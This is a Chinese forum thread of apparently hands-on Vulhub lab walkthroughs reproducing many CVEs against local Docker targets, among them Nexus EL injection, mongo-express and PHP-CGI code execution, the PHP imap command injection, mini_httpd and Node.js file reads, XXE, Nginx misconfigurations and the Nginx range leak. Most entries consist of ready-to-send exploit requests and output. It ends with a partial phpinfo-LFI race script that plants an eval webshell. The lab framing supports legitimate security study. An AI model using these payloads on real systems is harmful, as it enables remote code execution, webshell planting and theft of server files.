{"tid":11,"action":"coreui_User","method":"update","result":{"messages":null,"errors":{"roles":"Missing roles: [nxadminB54289]"},"success":false,"data":[]},"type":"rpc"}
```

![image-20211114223032281](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211114223032281.png)

替换成命令:

```
$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/success')}
```

进入到容器中,发现已经执行了命令:**touch /tmp/success**

![image-20211114223200543](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211114223200543.png)

```
docker-compose exec web bash
[root@77c05ff866a5 /]# ls /tmp
hsperfdata_root  ks-script-ck4c0pkq  success
```

# Nexus Repository Manager 3 远程命令执行漏洞(CVE-2020-10199)

触发该漏洞,必须保证仓库里至少有一个包存在。

---

Nexus Repository Manager 3 是一款软件仓库,可以用来存储和分发 Maven、NuGET 等软件源仓库。其 3.21.1 及之前版本中,存在一处任意 EL 表达式注入漏洞



打开后是这样的:

![image-20211114220120544](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211114220120544.png)

该漏洞需要至少普通用户身份,所以我们需要使用账号密码 `admin:admin` 登录后台:

![image-20211114220141416](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211114220141416.png)

登录后,复制当前 Cookie 和 CSRF Token,发送如下数据包,即可执行 EL 表达式:

```
POST /service/rest/beta/repositories/go/group HTTP/1.1

Host: 127.0.0.1:8081

Content-Length: 207

X-Requested-With: XMLHttpRequest

X-Nexus-UI: true

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36

NX-ANTI-CSRF-TOKEN: 0.202738134052749

Content-Type: application/json

Accept: */*

Origin: http://127.0.0.1:8081

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Referer: http://127.0.0.1:8081/

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9

Cookie: NX-ANTI-CSRF-TOKEN=0.202738134052749; NXSESSIONID=bd2fd624-e8bd-48e8-821c-62409c590c55

Connection: close



{

  "name": "internal",

  "online": true,

  "storage": {

    "blobStoreName": "default",

    "strictContentTypeValidation": true

  },

  "group": {

    "memberNames": ["$\\A{233*233*233}"]

  }

}




```

![image-20211114221758790](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211114221758790.png)

在response中得到如下信息:

```
HTTP/1.1 400 Bad Request

Connection: close

Date: Sun, 14 Nov 2021 14:42:12 GMT

Server: Nexus/3.21.1-01 (OSS)

X-Content-Type-Options: nosniff

Vary: Accept

Content-Type: application/vnd.siesta-validation-errors-v1+json

X-Siesta-FaultId: 314c09eb-ddec-4073-b383-3cbef0f9d1b0

Content-Length: 84



[{"id":"FIELD memberNames","message":"Member repository does not exist: A12649337"}]
```

![image-20211114224248199](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211114224248199.png)

然后使用命令:

```
$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/success')}
```

替换掉数据包中的

```
$\\A{233*233*233}
```

即可执行命令:**touch /tmp/success**

```
docker-compose exec web bash
[root@8ab09ca8a5df /]# ls /tmp
hsperfdata_root  ks-script-ck4c0pkq  success
```

![image-20211114224346750](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211114224346750.png)


# Nexus Repository Manager 3 远程命令执行漏洞(CVE-2019-7238

打开后是这样的:

![image-20211114214830563](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211114214830563.png)

使用账号密码 `admin:admin123` 登录后台,然后在 maven-releases 下随便上传一个 jar 包:

![image-20211114214927093](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211114214927093.png)

随便上传一个jar包:

![image-20211114215208829](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211114215208829.png)

触发该漏洞,必须保证仓库里至少有一个包存在。

接口没有校验权限,所以直接发送如下数据包,即可执行 touch /tmp/success 命令:

```
POST /service/extdirect HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 368
Connection: close

{"action":"coreui_Component","method":"previewAssets","data":[{"page":1,"start":0,"limit":50,"sort":[{"property":"name","direction":"ASC"}],"filter":
[{"property":"repositoryName","value":"*"},{"property":"expression","value":"233.class.forName('java.lang.Runtime').getRuntime().exec('touch /tmp/success')"},{"property":"type","value":"jexl"}]}],"type":"rpc","tid":8}


```

![image-20211114215412393](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211114215412393.png)

使用命令:

```
docker-compose exec web bash
```

进入到bash下:

```
docker-compose exec web bash                                                                                                                                                                            130 ⨯
bash-4.2$ ls
anaconda-post.log  bin  dev  etc  home  lib  lib64  media  mnt  nexus-data  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
bash-4.2$ cd tmp
bash-4.2$ ls
hsperfdata_nexus  ks-script-h2MyUP  success  yum.log
```

![image-20211114215555707](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211114215555707.png)

发现命令**touch /tmp/success**已经执行

# Mysql 身份认证绕过漏洞(CVE-2012-2122)            

受影响版本:

- MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
- MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.



漏洞利用前提:

​                已知数据库名。

---

打开后,在不知道我们环境正确密码的情况下,在 bash 下运行如下命令,在一定数量尝试后便可成功登录:

```
for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done
```

但是我的Linux中好像没有mysql这个命令,后来发现

> 经过测试,本环境虽然运行在容器内部,但漏洞是否能够复现仍然与宿主机有一定关系。宿主机最好选择 Ubuntu 或 Mac 系统,但也不知道是否一定能够成功

原来是版本不对

那原理大概就是这么个原理

---

还看到有人用msf尝试的:

依次使用命令:

```
search CVE-2012-2122
use auxiliary/scanner/mysql/mysql_authbypass_hashdump
set rhosts 192.168.154.3
run
```

即可

![image-20211114212306291](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211114212306291.png)

# mongo-express 远程代码执行漏洞(CVE-2019-10758)            

打开后直接用burpsuite抓包,将数据吧修改为如下内容:

```
POST /checkValid HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Basic YWRtaW46cGFzcw==
Content-Type: application/x-www-form-urlencoded
Content-Length: 124

document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/success")


```

即可执行命令:

```
touch /tmp/success
```

用命令:

```
docker-compose exec web
```

进入到该镜像的容器中,用命令;

```
ls /tmp
```

发现有文件夹success存在

# mini_httpd任意文件读取漏洞(CVE-2018-18778)            

访问得到如下页面:

```
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<html>

  <head>
    <meta http-equiv="Content-type" content="text/html;charset=UTF-8">
    <title>404 Not Found</title>
  </head>

  <body bgcolor="#cc9999" text="#000000" link="#2020ff" vlink="#4040cc">

    <h4>404 Not Found</h4>
File not found.
    <hr>

    <address><a href="http://www.acme.com/software/mini_httpd/">mini_httpd/1.29 23May2018</a></address>

  </body>

</html>

```

![image-20211114171536257](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211114171536257.png)

用burpsuite抓包,发送请求是将 Host 置空,PATH 的值是文件绝对路径:

```
GET /etc/passwd HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close


```

response中的内容如下:

```
HTTP/1.1 200 Ok
Server: mini_httpd/1.29 23May2018
Date: Sun, 14 Nov 2021 09:17:56 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 1197
Last-Modified: Thu, 11 Oct 2018 00:00:00 GMT
Connection: close

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false

```



![image-20211114171838548](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211114171838548.png)
回复

使用道具 举报

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
 楼主| 发表于 2021-11-15 21:44:54 | 显示全部楼层
# PHP imap 远程命令执行漏洞(CVE-2018-19518)            

打开后进入如下界面:

是测试一个邮件服务器是否能够成功连接,需要填写服务器地址、用户名和密码。

![image-20211115213831429](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211115213831429.png)

点击submit发现无法连接:

![image-20211115214008749](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211115214008749.png)

所以,用burpsuite抓包,修改数据包,发送如下数据包即可成功执行命令 **echo '1234567890'>/tmp/test0001**:

```
POST / HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 125

hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=111&password=222


```

用命令:

```
docker-compose exec web bash
```

进入到docker容器中,发现命令 **echo '1234567890'>/tmp/test0001**已经被执行:

```
docker-compose exec web bash
root@db213969ea53:/var/www/html# ls
index.php
root@db213969ea53:/var/www/html# ls /tmp
test0001
```

![image-20211115214306685](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211115214306685.png)

# PHP-CGI远程代码执行漏洞(CVE-2012-1823)

打开后是这样的:

```
Hello,
Your name is <strong>Vulhub</strong>
```

![image-20211115212953946](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211115212953946.png)

在URL后面加上后缀:**/index.php?-s**

若能够爆出源码,则证明该漏洞存在:

```
<?php
header("Content-Type: text/html; charset=utf-8");
echo "Hello, \n";
echo "Your name is <strong>" . (isset($_GET['name']) ? $_GET['name'] : 'Vulhub') . '</strong>';
```

![image-20211115213053702](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211115213053702.png)

用burpsuite抓包,将数据包修改为如下内容:

```
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

<?php echo shell_exec("id"); ?>


```

![image-20211115213319885](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211115213319885.png)

点击forward后,在页面中返回如下信息:

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Warning: Cannot modify header information - headers already sent by (output started at php://input:1) in /var/www/html/index.php on line 2
Hello, Your name is Vulhub
```

![image-20211115213406565](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211115213406565.png)

# Node.js 目录穿越漏洞(CVE-2017-14849)            

## 原理

> 原因是 Node.js 8.5.0 对目录进行 normalize 操作时出现了逻辑错误,导致向上层跳跃的时候(如../../../../../../etc/passwd),在中间位置增加 foo/../(如../../../foo/../../../../etc/passwd),即可使 normalize 返回 /etc/passwd,但实际上正确结果应该是../../../../../../etc/passwd。
>
> express 这类 web 框架,通常会提供了静态文件服务器的功能,这些功能依赖于 normalize 函数。比如,express 在判断 path 是否超出静态目录范围时,就用到了 normalize 函数,上述 BUG 导致 normalize 函数返回错误结果导致绕过了检查,造成任意文件读取漏洞。
>
> 当然,normalize 的 BUG 可以影响的绝非仅有 express,更有待深入挖掘。不过因为这个 BUG 是 node 8.5.0 中引入的,在 8.6 中就进行了修复,所以影响范围有限。

## 复现

访问 `http://your-ip:3000/` 即可查看到一个 web 页面,其中引用到了文件 `/static/main.js`,说明其存在静态文件服务器。

抓包后,修改数据包内容如下:

```
GET /static/../../../a/../../../../etc/passwd HTTP/1.1
Host: your-ip:3000
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close


```

即可读取到passwd文件内容:



# Nginx 配置错误导致漏洞            

运行成功后,Nginx 将会监听 8080/8081/8082 三个端口,分别对应三种漏洞。

---

1. 查看Nginx配置文件

        1 进入docker容器:

        ```
        docker-compose exec nginx bash
        ```

        2 进入Nginx配置文件夹

        ```
        cd /etc/nginx/conf.d
        ```

        3 分别查看三个错误的配置文件(红色框就是错误配置)

        ## error1.conf : CRLF注入漏洞

        Nginx会将$uri进行解码,导致传入%0a%0d即可引入换行符,造成CRLF注入漏洞。

        错误的配置文件示例(原本的目的是为了让http的请求跳转到https上):

        ```
        location / {
       
        return 302 https://$host$uri;
       
        }
        ```

        **Payload: http://your-ip:8080/%0a%0dSet-Cookie:%20a=1**,可注入Set-Cookie头。

        即可构造一个XSS漏洞:

        **Payload:http://your-ip:8080/%0a%0dSet-Cookie:%0a%0d%0a%0d<img src=1 οnerrοr=alert(/xss/)>**

        ## error2.conf : 目录穿越漏洞

        Nginx在配置别名(Alias)的时候,如果忘记加/,将造成一个目录穿越漏洞。

        错误的配置文件示例(原本的目的是为了让用户访问到/home/目录下的文件):

        ```
        location /files {
       
        alias /home/;
       
        }
        ```

        **Payload: http://your-ip:8081/files../** ,成功穿越到根目录:

        ## error3.conf : add_header被覆盖

        Nginx配置文件子块(server、location、if)中的add_header,将会覆盖父块中的add_header添加的HTTP头,造成一些安全隐患。

        如下列代码,整站(父块中)添加了CSP头:

        ```
        add_header Content-Security-Policy "default-src 'self'";
       
        add_header X-Frame-Options DENY;
       
        location = /test1 {
       
        rewrite ^(.*)$ /xss.html break;
       
        }
       
        location = /test2 {
       
        add_header X-Content-Type-Options nosniff;
       
        rewrite ^(.*)$ /xss.html break;
       
        }
        ```

        但/test2的location中又添加了X-Content-Type-Options头,导致父块中的add_header全部失效:

         

        XSS可被触发

        ## END

        异常:火狐访问8080端口显示: “SSL 接收到一个超出最大准许长度的记录,” 错误代码“ssl_error_rx_record_too_long”  ;从url从http跳转到了https

# Nginx越界读取缓存漏洞(CVE-2017-7529)            

## 实验原理

(1)由于对http header中range域处理不当造成。

(2)主要代码是ngx_http_range_parse函数中的循环。

(3)Nginx在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。如果二次请求命中了该缓存文件,则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。

(4)如果我们的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度的内容。而如果我构造了两个负的位置,如(-600,  -9223372036854774591),将可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。当Nginx服务器使用代理缓存的情况下,攻击者通过利用该漏洞可以拿到服务器的后端真实IP。

---



首先我们先创建需要的poc文件:

```Python
#!/usr/bin/env python
import sys
import requests

if len(sys.argv) < 2:
    print("%s url" % (sys.argv[0]))
    print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
    sys.exit()

headers = {
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
    n, 0x8000000000000000 - n)

r = requests.get(url, headers=headers)
```



打开后是这样的:

```
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
    body {
        width: 35em;
        margin: 0 auto;
        font-family: Tahoma, Verdana, Arial, sans-serif;
    }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>

<p><em>Thank you for using nginx.</em></p>
</body>
</html>

```

![image-20211115205621817](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211115205621817.png)

在这一关的vulhub中已经写好了poc文件:

![image-20211115205810717](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211115205810717.png)

直接使用命令:

```
python3 poc.py http://127.0.0.1:8080/
```

得到如下信息:

```
000000000000000002
Content-Type: text/html; charset=utf-8
Content-Range: bytes -605-611/612

:[’ab`RYâX’ar«\me"59526062-264"
KEY: http://127.0.0.1:8081/
HTTP/1.1 200 OK
Server: nginx/1.13.2
Date: Mon, 15 Nov 2021 12:56:02 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 612
Last-Modified: Tue, 27 Jun 2017 13:40:50 GMT
Connection: close
ETag: "59526062-264"
Accept-Ranges: bytes

<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
    body {
        width: 35em;
        margin: 0 auto;
        font-family: Tahoma, Verdana, Arial, sans-serif;
    }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>

<p><em>Thank you for using nginx.</em></p>
</body>
</html>

--00000000000000000002
Content-Type: text/html; charset=utf-8
Content-Range: bytes -9223372036854773979-611/612

```

![image-20211115205942310](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211115205942310.png)



# Nginx 文件名逻辑漏洞(CVE-2013-4547)            

## 介绍



这个漏洞其实和代码执行没有太大关系,其主要原因是错误地解析了请求的 URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。

举个例子,比如,Nginx 匹配到.php 结尾的请求,就发送给 fastcgi 进行解析,常见的写法如下:

```
location ~ \.php$ {
    include        fastcgi_params;

fastcgi_pass   127.0.0.1:9000;
fastcgi_index  index.php;
fastcgi_param  SCRIPT_FILENAME  /var/www/html$fastcgi_script_name;
fastcgi_param  DOCUMENT_ROOT /var/www/html;

}
```

正常情况下(关闭 pathinfo 的情况下),只有.php 后缀的文件才会被发送给 fastcgi 解析。

而存在 CVE-2013-4547 的情况下,我们请求 1.gif[0x20][0x00].php,这个 URI 可以匹配上正则 \.php$,可以进入这个 Location 块;但进入后,Nginx 却错误地认为请求的文件是 1.gif[0x20],就设置其为 SCRIPT_FILENAME 的值发送给 fastcgi。

fastcgi 根据 SCRIPT_FILENAME 的值进行解析,最后造成了解析漏洞。

所以,我们只需要上传一个空格结尾的文件,即可使 PHP 解析之。

再举个例子,比如很多网站限制了允许访问后台的 IP:

```
location /admin/ {
    allow 127.0.0.1;
    deny all;
}
```

我们可以请求如下 URI:/test[0x20]/../admin/index.php,这个 URI 不会匹配上 location 后面的 /admin/,也就绕过了其中的 IP 验证;但最后请求的是 /test[0x20]/../admin/index.php 文件,也就是 /admin/index.php,成功访问到后台。(这个前提是需要有一个目录叫 test:这是 Linux 系统的特点,如果有一个不存在的目录,则即使跳转到上一层,也会爆文件不存在的错误,Windows 下没有这个限制)



## 复现

大概思路就是用00截断,但是因为在kali中的burpsuite已经更新到了最新版,很难进行对数据包的hex值进行修改

---



打开后是这样的一个上传文件的页面:

```
<form method="post" enctype="multipart/form-data">
    File: <input type="file" name="file_upload">
    <input type="submit">
</form>
```

![image-20211115204821106](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211115204821106.png)

这个环境是黑名单验证,我们无法上传php后缀的文件:

[![img]()]()

需要利用CVE-2013-4547。我们上传一个test.gif,里面的内容还是<?php phpinfo();?>,注意后面的空格:

[![img]()]()

发现上传成功,接下来需要构造我们 test.gif[0x20][0x00].php 来造成Nginx解析漏洞,使我们的test.gif被

解析成php,访问 .php,在burp抓取的数据包中把 test.gif

后面的两个空格 [0x20][0x20] ---> [0x20][0x00] ,然后repeater发包可发现PHP已被解析:

[![img]()]()

[![img]()]()

注意,[0x20]是空格,[0x00]是\0,这两个字符都不需要编码。

回复

使用道具 举报

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
 楼主| 发表于 2021-11-16 22:22:00 | 显示全部楼层
# PHPMailer 任意文件读取漏洞(CVE-2017-5223)            

首先现在该目录下新建一个.env文件,文件中写入:

```
SMTP_SERVER=smtp.example.com
SMTP_PORT=587
SMTP_EMAIL=your_email@example.com
SMTP_PASSWORD=secret
SMTP_SECURE=tls
```

(将其中的配置值修改成你的 smtp 服务器、账户、密码)

其中,`SMTP_SECURE` 是 SMTP 加密方式,可以填写 none、ssl 或 tls。

---



环境启动后,访问 http://your-ip:8080/,即可看到一个 “意见反馈” 页面。


“意见反馈” 页面,正常用户填写昵称、邮箱、意见提交,这些信息将被后端储存,同时后端会发送一封邮件提示用户意见填写完成:

> 该场景在实战中很常见,比如用户注册网站成功后,通常会收到一封包含自己昵称的通知邮件,那么,我们在昵称中插入恶意代码<img src="/etc/passwd">,目标服务器上的文件将以附件的形式被读取出来。

同样,我们填写恶意代码在 “意见” 的位置:

收到邮件,其中包含附件 /etc/passwd 和 /etc/hosts:

下载读取即可。

# PHP环境 XML外部实体注入漏洞(XXE)            

> Web 目录为./www,其中包含 4 个文件:
>
> ```
> $ tree .
> .
> ├── dom.php # 示例:使用DOMDocument解析body
> ├── index.php
> ├── SimpleXMLElement.php # 示例:使用SimpleXMLElement类解析body
> └── simplexml_load_string.php # 示例:使用simplexml_load_string函数解析body
> ```
>
> **dom.php、SimpleXMLElement.php、simplexml_load_string.php** 均可触发 XXE 漏洞,具体输出点请阅读这三个文件的代码。
>
>



访问 `http://your-ip:8080/index.php` 即可看到 phpinfo,搜索 libxml 即可看到其版本为 2.8.0:

![image-20211116150609577](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211116150609577.png)

用burpsuite抓包后,在数据包修改为如下信息:

```
POST /simplexml_load_string.php HTTP/1.1

Host: 127.0.0.1:8080

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Type: application/x-www-form-urlencoded

Content-Length: 165



<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE xxe [

<!ELEMENT name ANY >

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

<root>

<name>&xxe;</name>

</root>




```

![image-20211116150903166](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211116150903166.png)

在response中得到如下信息:

```
HTTP/1.1 200 OK

Host: 127.0.0.1:8080

Connection: close

X-Powered-By: PHP/7.0.30

Content-type: text/html; charset=UTF-8



root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false

```

![image-20211116150925654](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211116150925654.png)

# PHP文件包含漏洞(利用phpinfo)            

> PHP 文件包含漏洞中,如果找不到可以包含的文件,我们可以通过包含临时文件的方法来 getshell。因为临时文件名是随机的,如果目标网站上存在 phpinfo,则可以通过 phpinfo 来获取临时文件名,进而进行包含。

---



打开后是这样的:

![image-20211116144703596](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211116144703596.png)

访问 http://your-ip:8080/phpinfo.php 即可看到一个 PHPINFO 页面

![image-20211116144724443](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211116144724443.png)

访问 http://your-ip:8080/lfi.php?file=/etc/passwd,可见的确存在文件包含漏洞。

```
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
```

![image-20211116144807958](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211116144807958.png)

使用exp:

```
#!/usr/bin/python
import sys
import threading
import socket

def setup(host, port):
    TAG="Security Test"
    PAYLOAD="""%s\r
<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
    REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
    padding="A" * 5000
    REQ1="""OST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
    #modify this to suit the LFI script   
    LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
    return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)   

    s.connect((host, port))
    s2.connect((host, port))

    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index("[tmp_name] =&gt; ")
        fn = d[i+17:i+31]
    except ValueError:
        return None

    s2.send(lfireq % (fn, host))
    d = s2.recv(4096)
    s.close()
    s2.close()

    if d.find(tag) != -1:
        return fn

counter=0
class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
